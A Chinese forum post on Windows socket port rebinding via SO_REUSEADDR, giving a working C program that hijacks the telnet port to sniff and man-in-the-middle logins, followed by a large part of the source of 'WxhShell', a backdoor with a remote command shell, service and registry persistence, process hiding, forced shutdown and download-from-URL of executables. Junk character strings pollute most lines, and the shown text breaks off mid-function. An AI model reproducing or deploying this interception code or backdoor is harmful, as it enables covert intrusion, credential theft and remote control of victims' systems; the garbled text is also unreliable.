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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <MxA;A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ({4?RtYm  
+o.#']}Pl  
  saddr.sin_family = AF_INET; &~"N/o  
Kj"n Id)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); iR4"I7J  
y]Q/(O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \hJLa  
z#5qI',L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8pmWw?  
JpQV7}$  
  这意味着什么?意味着可以进行如下的攻击: Nj;(QhYZ  
n`Ypv{+ {%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \KEmfCx'n  
r*7J#M /  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SM}& @cJ  
H2_6m5[&,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j"0TAYmXwu  
c:DV8'fT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <95*z @  
+C$wkx]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Vg7+G( ,  
AWZ4h,as{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4YMUkwh  
OoOwEV2p_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <SRSJJR|(  
Ze`ms96j{  
  #include m,J9:S<5;  
  #include FOa2VP%  
  #include ,=6;dT  
  #include    neWx-O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Dk~ JH9#  
  int main() t-FrF</ 0  
  { \n0Gr\:  
  WORD wVersionRequested; ;S2/n$Ju_  
  DWORD ret; AQ-R^kT  
  WSADATA wsaData; YZ0Q?7l7  
  BOOL val; e<{Ani0  
  SOCKADDR_IN saddr; bmC{d  
  SOCKADDR_IN scaddr; l%cE o`U  
  int err; yV@~B;eW0  
  SOCKET s; K?wo AuY  
  SOCKET sc; -A8CW9|mk  
  int caddsize; ~:A=o?V2  
  HANDLE mt; ~RM_c  
  DWORD tid;   j W|M)[KJN  
  wVersionRequested = MAKEWORD( 2, 2 ); 9&4z4@on  
  err = WSAStartup( wVersionRequested, &wsaData ); %tz foiJ%P  
  if ( err != 0 ) { orF8%  
  printf("error!WSAStartup failed!\n"); y#{> tC  
  return -1; LZpqv~av  
  } u_)'}  
  saddr.sin_family = AF_INET; mVyF M -`  
   /;1h-Rc>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6[% 4 Q[  
%xwdH4 _  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s4\_%je<v  
  saddr.sin_port = htons(23); {Ve_u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <yE d'Z  
  { pL'+sW  
  printf("error!socket failed!\n"); i\k>2df  
  return -1; GA)t!Xg^  
  } p?sC</R  
  val = TRUE; ]OA8H[U-eA  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jTz~ V&^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %wux#"8  
  { &p^8zEs  
  printf("error!setsockopt failed!\n"); 20RISj  
  return -1; RC]-9gd3Q  
  } #ruL+- 8!<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +,Z Q( ZW  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z)y{(gR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )1 !*N)$  
1O;q|p'9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uyWt{>$  
  { g)~"-uQQ  
  ret=GetLastError(); K@@[N17/8  
  printf("error!bind failed!\n"); fnO>v/&B  
  return -1; ~Wj. 4b*  
  } Xkb\fR6<K  
  listen(s,2); -Fs<{^E3j  
  while(1) 9r hl2E  
  { ZC:7N{a  
  caddsize = sizeof(scaddr); h}jE=T5Hc  
  //接受连接请求 kC-OZVoO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D~JrO]mi  
  if(sc!=INVALID_SOCKET) <@2g.+9  
  { ZncJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?r-W , n  
  if(mt==NULL) /aD3E"Op  
  { sM'%apM#  
  printf("Thread Creat Failed!\n"); *5|q_K Pt  
  break; <%]i7&8|  
  } jAb R[QR1%  
  } ":N E I  
  CloseHandle(mt); uz;z+Bd^  
  } Vu_QwWXO  
  closesocket(s); ;sn]Blpq  
  WSACleanup(); 5QUL-*t  
  return 0; 7gcJ.,Z.  
  }   T4x%dg  
  DWORD WINAPI ClientThread(LPVOID lpParam) rOd~sa-H  
  { +>S\.h s4  
  SOCKET ss = (SOCKET)lpParam; g O ;oM?|  
  SOCKET sc; LL^WeD_Y  
  unsigned char buf[4096]; )>|x2q  
  SOCKADDR_IN saddr; j UCrj'  
  long num; hUGP3ExC*  
  DWORD val; }&O}t{gS*  
  DWORD ret; /V@9!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V t@]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yd4\%%]  
  saddr.sin_family = AF_INET; m<uBRI*I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "WE*ED  
  saddr.sin_port = htons(23); fTg^~XmJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +GqUI~a  
  { %ryYa  
  printf("error!socket failed!\n"); YRm6~c  
  return -1; )4BLm  
  } P4S]bPIp  
  val = 100; @is!VzE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TO~Z6NA0  
  { ^J-\s_)"  
  ret = GetLastError(); NhYce>  
  return -1; B78e*nNS#2  
  } _)? 59  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n6]8W^g  
  { %RS8zN  
  ret = GetLastError(); =7212('F  
  return -1; oF0BBs$  
  } p`-Oz]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FH}2wO~_  
  { J-wF2*0r<  
  printf("error!socket connect failed!\n"); Td/J6Q9 0  
  closesocket(sc); cg]>*lH  
  closesocket(ss); !m<v@SmL\  
  return -1; xaG( 3  
  } qlgo#[i  
  while(1) p,K]`pt=  
  { Q=~ *oYR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QpZ CU]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dF<GuS;l5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6./3w&D;  
  num = recv(ss,buf,4096,0); qzt.k^'-^  
  if(num>0) KrDG  
  send(sc,buf,num,0); E +!A0!1  
  else if(num==0) A, ;V|jv9  
  break; u?B9zt%$-m  
  num = recv(sc,buf,4096,0); /l&$B  
  if(num>0) nA?Ks!9T  
  send(ss,buf,num,0); EYD24  
  else if(num==0) z[~ph/^  
  break; gJC~$/2  
  } vlS+UFH0  
  closesocket(ss); 3BzC'nplm  
  closesocket(sc); vle`#c.  
  return 0 ; b>Em~NMu_  
  } /_l$h_{DH  
AkE(I16Uy~  
cA8A^Iv:0  
========================================================== 6A23H7  
Cl>{vS N  
下边附上一个代码,,WXhSHELL JULns#tx}  
{\62c;.  
========================================================== y1c2(K>tu  
+l)[A{  
#include "stdafx.h" -b`O"Ck*  
a*(,ydF|L  
#include <stdio.h> {|D7H=f  
#include <string.h> 8%Eau wAx  
#include <windows.h> lzDA0MPI:  
#include <winsock2.h> xg8$ <Ut  
#include <winsvc.h> x>TIQU=\  
#include <urlmon.h> :'0.  
DP5}q"l  
#pragma comment (lib, "Ws2_32.lib") [.j&~\AG  
#pragma comment (lib, "urlmon.lib") )j/b `V6  
DO{Lj# @  
#define MAX_USER   100 // 最大客户端连接数 b[s=FH]#N  
#define BUF_SOCK   200 // sock buffer >#Ue`)d`aY  
#define KEY_BUFF   255 // 输入 buffer u]uZc~T  
RR9G$}WS(  
#define REBOOT     0   // 重启 ;\48Q;  
#define SHUTDOWN   1   // 关机 o@47WD'm  
+ko-oZ7V  
#define DEF_PORT   5000 // 监听端口 # m;|QWW  
|\3X7)^8D  
#define REG_LEN     16   // 注册表键长度 AREpZ2GiU  
#define SVC_LEN     80   // NT服务名长度 o<8SiVC2  
%("WoBPH`  
// 从dll定义API MlH0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6O0CF}B*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iwx*mC{|A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 15\k/[3 #  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DICS6VG}  
Oz-;2   
// wxhshell配置信息 uP NZ^lM  
struct WSCFG { # ; 3v4P  
  int ws_port;         // 监听端口 ki=]#]rg  
  char ws_passstr[REG_LEN]; // 口令 *1`q x+1  
  int ws_autoins;       // 安装标记, 1=yes 0=no vMv? fE"  
  char ws_regname[REG_LEN]; // 注册表键名 f)#rBAkt  
  char ws_svcname[REG_LEN]; // 服务名 w)7s]Ld  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R.P|gk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q'1 86L87  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8ZL9>"%l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o7sIpE9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" - xKa-3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gPqdl6#c  
=s/UF_JN  
}; EaN1xb(DYa  
caD)'FSES  
// default Wxhshell configuration +Jw+rjnP  
struct WSCFG wscfg={DEF_PORT, $*q^7ME  
    "xuhuanlingzhe", S\<nCkE^  
    1, !>,XK!)  
    "Wxhshell", N4rDe]JnPR  
    "Wxhshell", /w "h'u  
            "WxhShell Service", b;jr;I  
    "Wrsky Windows CmdShell Service", hy wy(b3  
    "Please Input Your Password: ", n}L Jt  
  1, kxWcWl8  
  "http://www.wrsky.com/wxhshell.exe", i)=dp!Bx^  
  "Wxhshell.exe" %2,'x  
    }; zr@H Yl  
<:ptNGR  
// 消息定义模块 B:rzM:BQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Scd_tw.]|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F~;UD<<"H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ":W$$w<  
char *msg_ws_ext="\n\rExit."; x.kIzI5  
char *msg_ws_end="\n\rQuit."; d<_#Q7]I4  
char *msg_ws_boot="\n\rReboot..."; LVe[N-K  
char *msg_ws_poff="\n\rShutdown..."; JxmFUheLt  
char *msg_ws_down="\n\rSave to "; 4RL0@)0F  
|] cFsB#G  
char *msg_ws_err="\n\rErr!"; 0'zX6%  
char *msg_ws_ok="\n\rOK!"; 7 V3r!y  
lOEB ,/P  
char ExeFile[MAX_PATH]; *|Bt!  
int nUser = 0; J u"K"  
HANDLE handles[MAX_USER]; Z# o;H$  
int OsIsNt; xua E\*m  
wn/Y 5   
SERVICE_STATUS       serviceStatus; gn)>(MG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aW*8t'm;m'  
5fY7[{ 2  
// 函数声明 Ng|c13A=  
int Install(void); fjh,e  
int Uninstall(void); 4zhg#  
int DownloadFile(char *sURL, SOCKET wsh); cH6<'W{*  
int Boot(int flag); +<rWYF(ii/  
void HideProc(void); Gc,6;!+(  
int GetOsVer(void); Ex -?[Hq  
int Wxhshell(SOCKET wsl); 1+v!)Y>Z&  
void TalkWithClient(void *cs); bwyj[:6l  
int CmdShell(SOCKET sock); N}CeQ'l[R  
int StartFromService(void); .1YiNmW=  
int StartWxhshell(LPSTR lpCmdLine); w^E$R  
HyC826~-rI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  RxO !h8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [m0G;%KR/  
]=]fIKd  
// 数据结构和表定义 l|sC\;S  
SERVICE_TABLE_ENTRY DispatchTable[] = RN"Ur'+  
{ ypLt6(1j%  
{wscfg.ws_svcname, NTServiceMain}, d^qTY?k.  
{NULL, NULL} |"aop|  
}; Ef\&3TcQ  
L]wk Ba  
// 自我安装 \\Te\l|L  
int Install(void) YckLz01jh  
{ g27)$0&0  
  char svExeFile[MAX_PATH]; RYZM_@ 5$t  
  HKEY key; bsv!z\}  
  strcpy(svExeFile,ExeFile); ]S7>=S  
NudY9 ~   
// 如果是win9x系统,修改注册表设为自启动 ,w%hD*  
if(!OsIsNt) { t~M0_TnXlP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W *~[KdgC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o2R&s@%0@B  
  RegCloseKey(key); q!y!=hI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P2 fiK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kr%w"$<  
  RegCloseKey(key); J936o3F_  
  return 0; Aa}Nr5{O|  
    } k]=lo'bF4  
  } =^mBj?(V7  
} D9%t67s  
else { )QW p[bV  
d8J(~$tXQN  
// 如果是NT以上系统,安装为系统服务 n+D93d9LP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +o|I@7f  
if (schSCManager!=0) Xk`'m[  
{ MQMc=Z4d  
  SC_HANDLE schService = CreateService ,A[NcFdCB  
  ( e/R$Sfj]  
  schSCManager, qCy SL lp0  
  wscfg.ws_svcname, _<u>? Qt  
  wscfg.ws_svcdisp, ]N{jF$  
  SERVICE_ALL_ACCESS, :&J1#% t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,'%*z  
  SERVICE_AUTO_START, ,m[#<}xXA  
  SERVICE_ERROR_NORMAL, Bmv5yc+;  
  svExeFile, |h-e+Wh1  
  NULL, @+yjt'B  
  NULL, hxkwT  
  NULL, ( 9(NP_s  
  NULL, IVso/!   
  NULL $f AZ^   
  ); :aR_f`KMm  
  if (schService!=0) k-I U}|Xz  
  { -=GmI1:=$4  
  CloseServiceHandle(schService); u9j1>QU  
  CloseServiceHandle(schSCManager); h3j`X'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YQ`88 z  
  strcat(svExeFile,wscfg.ws_svcname); r<!/!}fE,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~F[JupU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hVW1l&s  
  RegCloseKey(key); B3W2?5p  
  return 0; \kP1Jr  
    } G;AJBs>Y}  
  } 7`HKa@  
  CloseServiceHandle(schSCManager); o?5;l`.L}  
} g 9AA)Ykp  
} ZVDi;   
9`cj9zz7  
return 1; C:p`  
} h@@q:I=  
wRu\9H}  
// 自我卸载 8=-#LVo~c  
int Uninstall(void) " nLWvV1  
{ 2`A\'SM'4  
  HKEY key; AA5UOg\jI  
B pp(5  
if(!OsIsNt) { +pxtar  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x.>&|Ej  
  RegDeleteValue(key,wscfg.ws_regname); UV\&9>@L  
  RegCloseKey(key); [<.dOe7|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8gJg7RxL  
  RegDeleteValue(key,wscfg.ws_regname); LCMn9I  
  RegCloseKey(key); p4@0Dz`Q  
  return 0; ;CDa*(e  
  } LfMN 'Cb  
} `=E4J2"  
} zO((FQ  
else { ZJV;&[$[  
s]Z++Lh<{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nG7E j#1  
if (schSCManager!=0) <x1,4a~  
{ #YK=e&da  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tS[%C)  
  if (schService!=0) E&0]s  
  { @+hO,WXN  
  if(DeleteService(schService)!=0) { BHR(B]EI  
  CloseServiceHandle(schService); ~Gh9m ]b  
  CloseServiceHandle(schSCManager); ,e{1l   
  return 0; WD|pG;Gq  
  } *~^M_wej  
  CloseServiceHandle(schService); wp<f{^ et  
  } y<m }dW6[\  
  CloseServiceHandle(schSCManager); e7n` fEpO  
} bdj')%@n  
} * & : J  
W.> }5uVl6  
return 1; smPZ%P}P+c  
} h%&2M58:  
oiItQ4{<  
// 从指定url下载文件 PDb7h  
int DownloadFile(char *sURL, SOCKET wsh) -;o0) DwZ  
{ -932[+  
  HRESULT hr; ; g\r Y  
char seps[]= "/"; {i)FDdDGD  
char *token; ^t P|8k  
char *file; })C}'!+]  
char myURL[MAX_PATH]; &X)^G#  
char myFILE[MAX_PATH]; <AB({(  
5 ~YaXh^  
strcpy(myURL,sURL); HjT-5>I7f  
  token=strtok(myURL,seps); iz2;xa*  
  while(token!=NULL) sM@1Qyv&0  
  { c.uD%  
    file=token; xd!GRJ<I  
  token=strtok(NULL,seps); K}tC8D  
  } wj\kx\+  
\;0UP+  
GetCurrentDirectory(MAX_PATH,myFILE); rhC x&L  
strcat(myFILE, "\\"); 2[1lwV  
strcat(myFILE, file); 35Fs/Gf-n  
  send(wsh,myFILE,strlen(myFILE),0); G3gEL)b*  
send(wsh,"...",3,0); d+]/0J!c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y)T|1)  
  if(hr==S_OK) B1o*phM g  
return 0; W"H(HA  
else &'c&B0j  
return 1; oA4<AJ2  
w5q'M  
} <h*$bx]9 +  
~X,ZZ 9H  
// 系统电源模块 Ki\J)l  
int Boot(int flag) gCaxZ~o  
{ ~y1k2n  
  HANDLE hToken; ?:#$btmn?  
  TOKEN_PRIVILEGES tkp; M8|kmF\B  
6o~CX  
  if(OsIsNt) { '19kP.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j UB`=d|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .:iO$wjp5  
    tkp.PrivilegeCount = 1; Xd'B0kQaT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t^7}j4lk  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p;)@R$*  
if(flag==REBOOT) { VTn6@z_ x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vO8CT-)  
  return 0; >Slu?{l'  
} YT<(2u#Ng  
else { O[R   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z>hGqFZ0{  
  return 0; 7%i6zP /a  
} 8 )= "Ee  
  } Cf3<;Mp<  
  else { -o YJ&r  
if(flag==REBOOT) { 9O-*iK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c@{M),C~E  
  return 0; IaGF{O3.  
} 59k-,lyU,  
else { TJs~}&L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {#&jW  
  return 0; ZvSEa{  
} FIpJ>E"n  
} $aj:\A0f  
m>+ e;5  
return 1; /}=cv>S5V  
} EkEQFd 5g  
> 7 qZ\#  
// win9x进程隐藏模块 p&ZLd`[  
void HideProc(void)  S=X_7V  
{ a@N 1"O  
c6LPqPcN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yS@xyW /  
  if ( hKernel != NULL ) H~?p,h  
  { eI+p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #w;%{C[D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fU'[lZ  
    FreeLibrary(hKernel); B)s%B'  
  } :{~TG]4M  
<ugy-vSv  
return; tFX!s;N[  
} WP4 "$W  
X,`e1nsR  
// 获取操作系统版本 O:+?:aI@  
int GetOsVer(void) cT# R B7  
{ 1qhSN#s{_  
  OSVERSIONINFO winfo; sF1j4 NC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q&e*[l2M6  
  GetVersionEx(&winfo); >0I\w$L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "@rXN"4  
  return 1; m =%yZ2F;  
  else =5#sB*  
  return 0; 94L>%{59  
} mxl"Y&l2<  
n4 J*04K  
// 客户端句柄模块 G/&Wc2k  
int Wxhshell(SOCKET wsl) 6Wc.iomx8  
{ pt~b=+bBm  
  SOCKET wsh; gU@BEn}  
  struct sockaddr_in client; z=K hbh  
  DWORD myID; I->4Q&3  
N683!wNX  
  while(nUser<MAX_USER) Fd>epvR  
{ w'<"5F`  
  int nSize=sizeof(client); Hq "l`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S0tPnwco[~  
  if(wsh==INVALID_SOCKET) return 1; |\SwZTr  
+P;&/z8i*g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $J]o\~Z J  
if(handles[nUser]==0) U$j?2|v-x  
  closesocket(wsh); r*t\F& D  
else @fI 2ZWN|  
  nUser++; B-[qS;PY%  
  } .a `ojT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :PQvt/-'(D  
xoN?[  
  return 0; }Bn`0;]  
} "[\),7&03  
N3?hu}  
// 关闭 socket <{1=4PA  
void CloseIt(SOCKET wsh) +%LR1+/%b  
{ swG!O}29OX  
closesocket(wsh); 9NausE40  
nUser--; Y]H,rO  
ExitThread(0); S3> <zGYk  
} 0 LIRi%N5*  
d2Ox:| <)  
// 客户端请求句柄 9AHxa  
void TalkWithClient(void *cs) &``nYI g/  
{ aui3Mq#f  
?a'P;&@7  
  SOCKET wsh=(SOCKET)cs; 5DnX8t+d  
  char pwd[SVC_LEN];  El |Y]f  
  char cmd[KEY_BUFF]; eX <@qa4<  
char chr[1]; TV*@h2C"i  
int i,j; E{}Vi>@V?  
Qk`LBvg1  
  while (nUser < MAX_USER) { 4pZ=CB+j  
2t`d. s=  
if(wscfg.ws_passstr) { R![4|FR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >2dF^cDE-3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ==Bxv:6  
  //ZeroMemory(pwd,KEY_BUFF); 0M|Jvw'n|  
      i=0; =;y(b~  
  while(i<SVC_LEN) { x aW9Sj0ZM  
fkJElO-F  
  // 设置超时 +<w\K*  
  fd_set FdRead; n$y@a? al  
  struct timeval TimeOut; }<g- 0&GLm  
  FD_ZERO(&FdRead); )A:|8m  
  FD_SET(wsh,&FdRead); #qg(DgH 7  
  TimeOut.tv_sec=8; n+:}p D  
  TimeOut.tv_usec=0; .0iHI3i^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b]Z>P{ j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q ,*([yX  
v7G&`4~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2*}qQ0J  
  pwd=chr[0]; lbiMB~rwI  
  if(chr[0]==0xd || chr[0]==0xa) { y(*#0fJrTV  
  pwd=0; .yb=I6D;<3  
  break; Kld#C51X f  
  } S F&EVRv  
  i++; d2 (3 ,  
    } )m.U"giG++  
\I #}R4z  
  // 如果是非法用户,关闭 socket Z^r? MX/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rxQ&N[r2  
} JFh_3r'  
KIYs[0*k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #Iwxt3K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Hi$squJ  
Bf{c4YiF  
while(1) { |}naI_Qudv  
J~k'b2(p3  
  ZeroMemory(cmd,KEY_BUFF); \cW9"e'  
) |j?aVqZ  
      // 自动支持客户端 telnet标准   %3mh'Z -[f  
  j=0; d{*e0  
  while(j<KEY_BUFF) { T7~Vk2o%(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DBk]2W|i  
  cmd[j]=chr[0]; POt 8G  
  if(chr[0]==0xa || chr[0]==0xd) { vbSycZ2M7  
  cmd[j]=0; ~(K{D D7[N  
  break; 9jW"83*5  
  } #0'%51Jcl  
  j++; #7|73&u(  
    } k07pI<a?  
<_~e/+_.  
  // 下载文件 F7IZ;4cp  
  if(strstr(cmd,"http://")) { Q+a"Z^Z|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [ %6(1$Ih  
  if(DownloadFile(cmd,wsh)) D2MWrX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nV3I6  
  else a+P Vi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K| '`w.  
  } W+u-M>Cj6  
  else { Y[Eq;a132  
bW^JR,  
    switch(cmd[0]) { ,WQg.neOA  
  v]X*(e  
  // 帮助 K410.o/=-  
  case '?': { 6Eyinv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h"t\x}8qq  
    break; vk.P| Y-;  
  } N Nw0 G&  
  // 安装 8=,-r`oNy  
  case 'i': { (qdvvu#E  
    if(Install()) LGT?/ gup  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xj;V  
    else OmLe+,7'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *:V+whBY  
    break; Z,7VOf6g  
    } 12HE =  
  // 卸载 4rrR;V"}  
  case 'r': { ]..7t|^b&  
    if(Uninstall()) 'mO>hD`V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "r[Ob]/  
    else (0u(<qA\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 66-G)+4  
    break; R(p3* t&n  
    } U6F1QLSLz  
  // 显示 wxhshell 所在路径 Cxra(!&  
  case 'p': { "?ON0u9  
    char svExeFile[MAX_PATH]; 5%RiM|+  
    strcpy(svExeFile,"\n\r"); z4{ :X Da  
      strcat(svExeFile,ExeFile); yoG*c%3V?  
        send(wsh,svExeFile,strlen(svExeFile),0);  4}F~h  
    break; yZkS   
    } {3!E8~  
  // 重启 ]Gf`nJDV  
  case 'b': { '^%kTNn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,)ZI&BL5  
    if(Boot(REBOOT)) 2B"&WKk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ()e|BFL.  
    else { RAj>{/E#W  
    closesocket(wsh); h]pz12Yf  
    ExitThread(0); vW4n>h}]  
    } AL;4-(KH  
    break; %uDH_J|^  
    } "NtY[sT{V  
  // 关机 Eo>EK>  
  case 'd': { v-DZW,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fs&r ^ [/b  
